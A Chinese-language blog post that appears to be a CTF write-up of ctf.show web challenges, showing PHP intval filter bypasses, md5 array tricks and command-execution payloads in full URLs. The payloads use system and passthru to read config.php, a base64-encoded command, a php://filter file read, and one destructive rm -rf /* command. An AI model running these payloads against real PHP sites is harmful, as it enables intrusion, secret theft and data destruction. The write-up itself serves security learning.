苦苦的码人 - A Life Blog

WEB方向

intval绕过


由题目可知需要获取一个id=1000,但是在代码中可以看到当>1000时会出现id error,于是有以下方法绕过intval
intval() 可以获取[font color="Blue "]变量的整数值。常用于强制类型转换。[/font]

int intval( $var, $base )
  1. 当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
  2. 对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
  3. 当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1。
  4. 当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
  5. 当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
  6. 当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5

+号绕过


2B为+号的ASCII码

十六进制绕过

intval绕过(2)


分析源码可知出现+号会被过滤掉
故使用十六进制绕过

intval绕过(3)

分析源码可知*、+、十六进制都会被过滤
故构造payload
http://1ada3a9b-dd02-4937-9a39-0e1bc69b0a3c.challenge.ctf.show/?id=100||id=1000

intval绕过(4)


构造payload
http://1ada3a9b-dd02-4937-9a39-0e1bc69b0a3c.challenge.ctf.show/?id=100||id=1000

intval绕过(5)


http://ff478bde-5a80-48c1-aa12-ede757ccfb51.challenge.ctf.show/?id=~~1000

使用~~取反

删库


根据题目提示,直接执行rm - rf /*

http://fd1972d3-c17f-4235-8cec-64f03d367a15.challenge.ctf.show?flag=rm-rf /*

可执行代码

system执行

查看代码可知用system即可查看config.php

http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=system('cat config.php');

passthru执行


查看代码可知这几种查看config.php的方法已被过滤
故使用passthru执行绕过查看

http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=passthru('cat config.php');

more查看

过滤了cat、system、exec等
使用passthru与more
http://b8bff3c4-9a5b-43cd-8bfc-1fbb58c6a95e.challenge.ctf.show?c=passthru('more config.php');

base64绕过


观察代码可知,过滤了.、php等,所以使用base64编码绕过

http://2f7417fc-1d7a-4b45-b791-e46fff4e5dbd.challenge.ctf.show?c=$a=base64_decode('Y2F0IGNvbmZpZy5waHA=');passthru($a);

php闭合+tac绕过


观察代码发现把分号、config、php等过滤掉了,故想到使用闭合php,再看到system、cat被过滤,想到使用tac

http://1aa1d227-f0ca-4465-80ce-4cf3ad3704fe.challenge.ctf.show?c=passthru('tac confi*')?>

php伪协议

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

php伪协议 与 POST一句话木马

md5绕过

通过构造

name[]=1 && password[]=1绕过

当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »